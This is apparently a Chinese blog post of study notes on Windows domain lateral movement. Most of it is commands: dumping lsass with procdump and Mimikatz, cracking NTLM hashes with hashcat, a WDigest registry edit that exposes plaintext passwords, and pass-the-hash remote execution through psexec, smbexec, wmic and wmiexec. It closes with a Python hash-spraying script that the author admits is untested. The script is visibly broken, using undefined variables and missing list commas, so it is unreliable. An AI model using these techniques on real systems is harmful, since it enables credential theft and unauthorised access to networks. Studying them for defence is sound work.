网安学习-内网渗透3

目录

#知识点1:

#知识点2:

#案例1-Prodump+Mimikatz配合获取

#案例2-域横向移动SMB服务利用-psexec,smbexec(官方自带)

#psexec第一种:现有ipc链接,psexec需要明文或者hash传递

#psexec第二种:不用建立ipc,直接提供明文账号密码来连接

#smbexec无需先icp连接,明文或者hash传递

 #案例4-域横向移动以上服务hash批量利用-python编译exe


#知识点1:

Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码。

Windows2012以下版本如安装KB2871997补丁,同样无法从内存中获取明文密码。

针对以上的情况,我们提供了4种方式解决此类问题:

  1. 利用哈希hash传递(pth、ptk等)进行移动
  2. 利用其他服务协议(SMB、WMI等)进行哈希移动
  3. 利用注册表操作开启Wdigest Auth值进行获取
  4. 利用工具或者第三方平台(Hashcat)进行破解获取

#知识点2:

Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash。

#案例1-Prodump+Mimikatz配合获取

#Prodump配合Mimikatz

prodump -accepteula -ma lsass.exe lsass.dmp        #在目标主机上执行该条命令,得到了lsass.dmp文件,之后就是将这个文件移动到我们的本地主机,使用mimikatz进行恢复

mimikatz上执行:

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

hashcat的使用方式:

hashcat -a 0 -m 1000 hash file --force           //其中的1000代表着协议

#案例2-域横向移动SMB服务利用-psexec,smbexec(官方自带)

利用SMB服务可以通过明文或者hash传递来远程执行,条件445服务端口开放。

#psexec第一种:现有ipc链接,psexec需要明文或者hash传递

net use \192.168.3.32ipc$ "admin!@#45" /user:administrator

psexec \192.168.3.32 -s cmd #需要先有ipc链接 -s 以system权限运行

#psexec第二种:不用建立ipc,直接提供明文账号密码来连接

psexec  \192.168.3.21 -u administrator -p Admin12345 -s cmd 

psexec -hashes :$HASH$ ./[email protected]

psexec -hashes :$HASH$ domain/[email protected]

psexec -hashes :NTLM值 ./[email protected]

#非官方自带-参考impacket工具包使用,操作简单,容易被杀

#smbexec无需先icp连接,明文或者hash传递

smbexec god/administrator:[email protected]

smbexec ./administrator:admin!@#[email protected]

smbexec -hashes :$HASH$ ./[email protected]

smbexec -hashes :$HASH$ domain/[email protected]

smbexec -hashes :NTLM值 ./[email protected]

smbexec -hashes :NTLM值 god/[email protected]

#注册表修改

reg add

HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#案例3-域横向移动WMI服务利用-cscript , wmiexec , wmic

WMI(Windows Management Instrumentation)是通过135端口进行利用,支持用户明文或者是hash的方式进行认证,并且该方法不会在目标日志系统中留下痕迹

#自带WMIC 明文传递  无回显

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:1.txt"

#自带cscript明文传递 有回显

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

看见通过cscript执行后,回显,连接成功,执行ipconfig,得到了192.168.3.21。 

#套件impacket wmiexec 明文或者hash传递 有回显exe版本

wmiexec ./administrator:admin!@#[email protected] "whoami"

wmiexec domain/administrator:[email protected] "whoami"

wmiexec -hashes :NTLM值 ./[email protected] "whoami"

wmiexec -hashes :NTLM值 god/[email protected] "whoami"

上面的图片就是分别使用wmiexec命令分别去连接本地用户和域内用户。执行whoami,返回administrator。上面的两个连接都是用明文实现的。

下面来看一下通过NTLM值来实现。

同样是使用wmiexec加上-hashes参数对应上NTLM值,连接192.168.3.32本地用户。

 #案例4-域横向移动以上服务hash批量利用-python编译exe

第一步由于我们已经取得了webserver的权限,之后便是通过mimikatz去收集相关的密码信息。 

收集到明文密码admin!@#45,假设我们没有获得明文的密码,只是得到了hash值,也就是说NTLM值,为什么这里我们没有使用LM值,是因为服务器大部分使用的都是windows2003之后的,所以优先收集NTLM,当然也可以收集以下LM值。

之后使用之前的命令(相关命令,在之前的笔记有记录到)收集域中存活的主机。

之后再通过webserver上的域用户去收集整个域中的用户。

之后就可以将我们收集的主机ip、用户名、密码写入到python文件中,将文件转为exe文件。

pyinstaller.exe -F python文件名.py

生成的exe文件默认存放于script目录下的dist目录下。

 之后便开始运行这个exe文件,批量的去碰撞域和本地的账号。

发现碰撞成功192.168.3.29的域用户。使用的NTLM值(也就是hash传递)也是webserver的NTLM值。

之后的操作便是通过登录192.168.3.29的域用户,再收集该主机上的密码信息。

收集到192.168.3.29的NTLM值,再完善脚本,再次编译为exe文件,再进行上述的碰撞操作。不断完善直到拿到多台主机的信息。

脚本如下:(脚本应该没问题吧?我没有实战去测试,自己改了一下,user其实没有必要写的)

import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.31'
}
user = {
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack'
    'mary'
    'vpnadm'
    'webadmin'
}
NTLM= {
    'NTML1',
    'NTLM2'
}
for ip in ips:
    for user in users:
        for mima in passs:
            exec1 = "wmiexec -hashes :"+NTLM+" god/domain@"+ips+" whoami"
            exec2 = "wmiexec -hashes :"+NTLM+" ./domain@"+ips+" whoami"
            print("----->"+exec1+"<-----")
            print("----->"+exec2+"<-----")
            os.system(exec1)
            os.system(exec2)
            time.sleep(0.5)

(没有进行实战的操作,只是学习了整个内网渗透的思路。)

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇

)">
下一篇>>